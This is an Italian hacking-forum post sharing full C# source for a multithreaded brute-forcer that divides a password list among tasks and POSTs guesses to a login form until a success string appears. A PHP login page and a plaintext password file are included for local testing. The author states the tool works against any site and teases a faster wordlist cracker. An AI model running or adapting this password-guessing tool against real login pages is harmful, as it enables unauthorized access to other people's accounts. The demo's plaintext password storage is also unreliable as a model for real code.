C# [multitask] cleverbruteforcer [source]

Stato
Discussione chiusa ad ulteriori risposte.

nullptr

Utente Emerald
26 Novembre 2015
1,096
21
368
356
Ultima modifica:
Non so se arriverò a fare il mio progetto quest'estate... perciò ho deciso di programmare una parte di esso in c#.
Il programma è in graod di pianificare un attacco "intelligente" dividendo per ciascun task delle passw da testare. Il codice è ottimizzato.

source:
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace cleverbruteforcer
{
    internal class Program
    {
        private static string user = "admin";
        private static List<CancellationTokenSource> ctsPool = new List<CancellationTokenSource>();

        private static void Main(string[] args)
        {
            Console.Title = "cleverbruteforcer - an open source bruteforcer able to map out the attack (by @nullptr from inforge.net)";

            string[] pswds = { "hello", "one", "two", "three", "four", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "inforge" };
            Console.WriteLine(string.Format("The array of passwords has a length of {0}", pswds.Length));

            Console.WriteLine("\nLet's do a test.\n\nPassword per task:");
            int passwordPerTask = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("\nTask(s) number:");
            int tasks = Convert.ToInt32(Console.ReadLine());

            Console.Clear();
            Console.WriteLine(string.Format("Running {0} task(s) - Password per task: {1}\n\n", tasks, passwordPerTask));

            // Assegna ad ogni task le password da testare

            if (tasks < pswds.Length && (passwordPerTask * tasks) <= pswds.Length)
            {
                int lastAssignedPassword = 0;
                for (int i = 0; i < tasks; i++)
                {
                    List<string> passwordsForTask = new List<string>();

                    if (tasks > (i + 1))
                    {
                        for (int j = 0; j < passwordPerTask; j++)
                        {
                            passwordsForTask.Add(pswds[lastAssignedPassword]);
                            lastAssignedPassword++;
                        }
                    }
                    else if (tasks == (i + 1))
                    {
                        for (int j = lastAssignedPassword; j < pswds.Length; j++)
                        {
                            passwordsForTask.Add(pswds[j]);
                        }
                    }

                    TaskWork(i, passwordsForTask.ToArray());
                }
            }

            // Fine assegnazioni

            Console.ReadKey();
            StopTasks();
        }

        private static void TaskWork(int taskId, string[] passwords)
        {
            Console.WriteLine(string.Format("Running task n'{0} - Passwords to test: {1}", taskId, passwords.Length));

            CancellationTokenSource cts = new CancellationTokenSource();
            Task task = Task.Factory.StartNew(() => SendPasswords(cts.Token, user, passwords)); // si può utilizzare pure Task.Run() se si sta lavorando con il .net framework 4.5
            ctsPool.Add(cts);
        }

        private static void StopTasks()
        {
            for (int i = 0; i < ctsPool.Count; i++)
                ctsPool[i].Cancel();

            ctsPool.Clear();
        }

        private static void SendPasswords(CancellationToken token, string username, string[] passwords)
        {
            foreach (string password in passwords)
            {
                token.ThrowIfCancellationRequested();
                var request = (HttpWebRequest)WebRequest.Create("http://localhost/login.php");
                var send_data = string.Format("user={0}&password={1}", username, password);
                var encoded_fields = Encoding.ASCII.GetBytes(send_data);

                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded";
                request.ContentLength = encoded_fields.Length;

                using (var stream = request.GetRequestStream())
                {
                    stream.Write(encoded_fields, 0, encoded_fields.Length);
                }

                var res_data = (HttpWebResponse)request.GetResponse();
                var page = new StreamReader(res_data.GetResponseStream()).ReadToEnd();

                if (page.Contains("SUCCESS LOGIN!"))
                {
                    Console.WriteLine('\n' + send_data);
                    StopTasks();
                }
            }
        }
    }
}

Come testarlo? Scarica un webserver a proprio piacimento, come apache (fategli caricare i moduli php), oppure xampp.

Una volta avviato, copiate i seguenti file nella root del webserver.

index.html:
HTML:
<html>
  <head>
    <title>Login Page</title>
  <head>

  <body>
    <FORM ACTION=login.php METHOD=POST>
      Nome: <INPUT TYPE=TEXT NAME="user"><BR>
      Password: <INPUT TYPE=PASSWORD NAME="password">
     <P><INPUT TYPE=SUBMIT VALUE="Login">
    </FORM>
  </body>
</html>

login.php:

PHP:
<html>
  <head>
    <title>Admin page</title>
  <head>

  <body>
    <?php
        $name  = $_POST['user'];
        $pass  = $_POST['password'];

        $pwdFile = "password.txt";
        $fh = fopen($pwdFile, 'r');
        $data = fgets($fh);
        fclose($fh);
   
        $text = explode(":", $data);

        $user_fun = $text[0];
        $pass_fun = $text[1];

        // confronto le stringhe
        if( $name === $user_fun && $pass === $pass_fun){
            echo "SUCCESS LOGIN!";
        }else{
            echo "USERNAME OR PASSWORD ARE NOT CORRECT";
        }
     ?>
        <br>
  </body>
</html>

password.txt:
Codice:
admin:inforge
admin è l'username, inforge è la password.

per altro, aggiungo solo che è utilizzabile per qualsiasi sito.
 
A 15 like sul post principale di questo thread posto un algoritmo in grado di controllare una wordlist intera di più di 100.000 password in meno di 10 secondi.
 
Stato
Discussione chiusa ad ulteriori risposte.